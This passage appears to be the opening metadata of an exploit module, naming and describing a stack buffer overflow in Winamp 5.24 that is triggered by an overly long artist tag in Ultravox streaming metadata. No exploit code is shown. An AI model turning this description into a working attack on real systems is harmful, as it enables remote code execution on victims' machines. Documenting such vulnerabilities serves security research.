'Name' => 'Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Winamp 5.24. By
sending an overly long artist tag, a remote attacker may
be able to execute arbitrary code. This vulnerability can be
exploited from the browser or the Winamp client itself.
